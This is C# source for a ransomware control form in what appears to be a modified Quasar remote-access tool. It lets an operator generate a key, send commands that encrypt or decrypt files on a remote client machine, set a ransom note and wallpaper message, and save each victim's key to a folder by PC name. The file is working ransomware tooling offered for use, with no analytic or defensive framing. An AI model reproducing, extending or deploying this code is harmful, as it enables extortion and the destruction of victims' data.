using Quasar.Common.Messages;
using Quasar.Server.Forms.DarkMode;
using Quasar.Server.Models;
using Quasar.Server.Networking;
using Quasar.Server.Forms.DarkMode;
using Quasar.Server.Models;
using Quasar.Server.Utilities;
using System;
using System.Drawing;
using System.Windows.Forms;

namespace Quasar.Server.Forms
{
    public partial class FrmRansomware : Form
    {
        private readonly Client _client;
        private string _encryptionKey;

        public FrmRansomware(Client client)
        {
            _client = client;
            InitializeComponent();
        }

        private void FrmRansomware_Load(object sender, EventArgs e)
        {
            if (Settings.DarkMode) { DarkModeManager.ApplyDarkMode(this); }
            ThemeManager.ApplyThemeToNewForm(this);
            this.Text = $"Ransomware - {_client.EndPoint}";
            _encryptionKey = Guid.NewGuid().ToString("N");
            txtKey.Text = _encryptionKey;
            
            Messages.RansomwareHandler.RegisterForm(_client, this);
            
            AddLog("Ransomware ready. Encryption key generated.", Color.Green);
            AddLog("Save the key to decrypt files later!", Color.Orange);
        }

        private void btnEncrypt_Click(object sender, EventArgs e)
        {
            // Single confirmation
            var result = MessageBox.Show(
                "Start encryption?\n\n" +
                "Extension: " + txtExtension.Text + "\n" +
                "Key: " + txtKey.Text + "\n\n" +
                "Save the key to decrypt later!",
                "Confirm Encryption",
                MessageBoxButtons.YesNo,
                MessageBoxIcon.Warning);

            if (result != DialogResult.Yes)
                return;

            // Proceed with encryption
            btnEncrypt.Enabled = false;
            btnDecrypt.Enabled = false;

            AddLog("Starting encryption process...", Color.Red);
            AddLog($"Extension: {txtExtension.Text}", Color.White);
            AddLog($"Key: {txtKey.Text}", Color.White);

            var ransomware = new DoRansomware
            {
                Action = "ENCRYPT",
                EncryptionKey = txtKey.Text,
                FileExtension = txtExtension.Text,
                RansomNote = txtRansomNote.Text,
                ChangeWallpaper = chkWallpaper.Checked,
                WallpaperText = txtWallpaperText.Text
            };

            _client.Send(ransomware);
        }

        private void btnDecrypt_Click(object sender, EventArgs e)
        {
            if (string.IsNullOrWhiteSpace(txtKey.Text))
            {
                MessageBox.Show("Please enter the encryption key!", "Key Required", MessageBoxButtons.OK, MessageBoxIcon.Warning);
                return;
            }

            var result = MessageBox.Show(
                "Start decryption process?\n\n" +
                "Extension: " + txtExtension.Text + "\n" +
                "Key: " + txtKey.Text + "\n\n" +
                "The system will verify the key and skip files that can't be decrypted.\n" +
                "Make sure the key is correct!",
                "Confirm Decryption",
                MessageBoxButtons.YesNo,
                MessageBoxIcon.Question);

            if (result != DialogResult.Yes)
                return;

            btnEncrypt.Enabled = false;
            btnDecrypt.Enabled = false;

            AddLog("Starting decryption process...", Color.Green);
            AddLog($"Extension: {txtExtension.Text}", Color.White);
            AddLog($"Key: {txtKey.Text}", Color.White);
            AddLog("Files with wrong key will be skipped.", Color.Yellow);

            var ransomware = new DoRansomware
            {
                Action = "DECRYPT",
                EncryptionKey = txtKey.Text,
                FileExtension = txtExtension.Text
            };

            _client.Send(ransomware);
        }

        public void UpdateProgress(RansomwareResponse response)
        {
            if (InvokeRequired)
            {
                Invoke(new Action(() => UpdateProgress(response)));
                return;
            }

            Color color = response.Status == "ERROR" ? Color.Red :
                         response.Status == "COMPLETED" ? Color.Green :
                         Color.Yellow;

            AddLog($"[{response.Status}] {response.Message}", color);

            if (response.IsComplete)
            {
                btnEncrypt.Enabled = true;
                btnDecrypt.Enabled = true;
            }
        }

        private void AddLog(string message, Color color)
        {
            if (InvokeRequired)
            {
                Invoke(new Action(() => AddLog(message, color)));
                return;
            }

            txtLog.SelectionStart = txtLog.TextLength;
            txtLog.SelectionLength = 0;
            txtLog.SelectionColor = color;
            txtLog.AppendText($"[{DateTime.Now:HH:mm:ss}] {message}\r\n");
            txtLog.SelectionColor = txtLog.ForeColor;
            txtLog.ScrollToCaret();
        }

        private void btnCopyKey_Click(object sender, EventArgs e)
        {
            if (!string.IsNullOrWhiteSpace(txtKey.Text))
            {
                Clipboard.SetText(txtKey.Text);
                MessageBox.Show("Encryption key copied to clipboard!", "Copied", MessageBoxButtons.OK, MessageBoxIcon.Information);
            }
        }

        private void btnSaveKey_Click(object sender, EventArgs e)
        {
            if (string.IsNullOrWhiteSpace(txtKey.Text))
            {
                MessageBox.Show("No key to save!", "Error", MessageBoxButtons.OK, MessageBoxIcon.Warning);
                return;
            }

            try
            {
                // Get PC name and tag from client
                string pcName = _client.Value.PcName ?? "Unknown";
                string tag = _client.Value.Tag?.ToString() ?? "NoTag";

                // Sanitize for filename
                foreach (char c in System.IO.Path.GetInvalidFileNameChars())
                {
                    pcName = pcName.Replace(c, '_');
                    tag = tag.Replace(c, '_');
                }

                // Create specialized folder on desktop
                string desktopPath = Environment.GetFolderPath(Environment.SpecialFolder.Desktop);
                string folderPath = System.IO.Path.Combine(desktopPath, "Ransomware_Keys");
                
                if (!System.IO.Directory.Exists(folderPath))
                {
                    System.IO.Directory.CreateDirectory(folderPath);
                }

                string fileName = $"Key_{pcName}_{tag}_{DateTime.Now:yyyyMMdd_HHmmss}.txt";
                string filePath = System.IO.Path.Combine(folderPath, fileName);

                string content = $"Ransomware Encryption Key\r\n" +
                               $"==========================\r\n" +
                               $"PC Name: {pcName}\r\n" +
                               $"Tag: {tag}\r\n" +
                               $"Date: {DateTime.Now:yyyy-MM-dd HH:mm:ss}\r\n" +
                               $"Extension: {txtExtension.Text}\r\n" +
                               $"\r\n" +
                               $"Encryption Key:\r\n" +
                               $"{txtKey.Text}\r\n" +
                               $"\r\n" +
                               $"IMPORTANT: Keep this key safe! You need it to decrypt files.\r\n";

                System.IO.File.WriteAllText(filePath, content);

                MessageBox.Show($"Key saved to:\n{filePath}", "Key Saved", MessageBoxButtons.OK, MessageBoxIcon.Information);
                AddLog($"Key saved: {fileName}", Color.Green);
            }
            catch (Exception ex)
            {
                MessageBox.Show($"Failed to save key: {ex.Message}", "Error", MessageBoxButtons.OK, MessageBoxIcon.Error);
            }
        }

        private void FrmRansomware_FormClosing(object sender, FormClosingEventArgs e)
        {
            Messages.RansomwareHandler.UnregisterForm(_client);
            
            // Warn if closing during operation
            if (!btnEncrypt.Enabled)
            {
                var result = MessageBox.Show(
                    "An operation is in progress. Are you sure you want to close?",
                    "Operation in Progress",
                    MessageBoxButtons.YesNo,
                    MessageBoxIcon.Warning);

                if (result != DialogResult.Yes)
                    e.Cancel = true;
            }
        }
    }
}
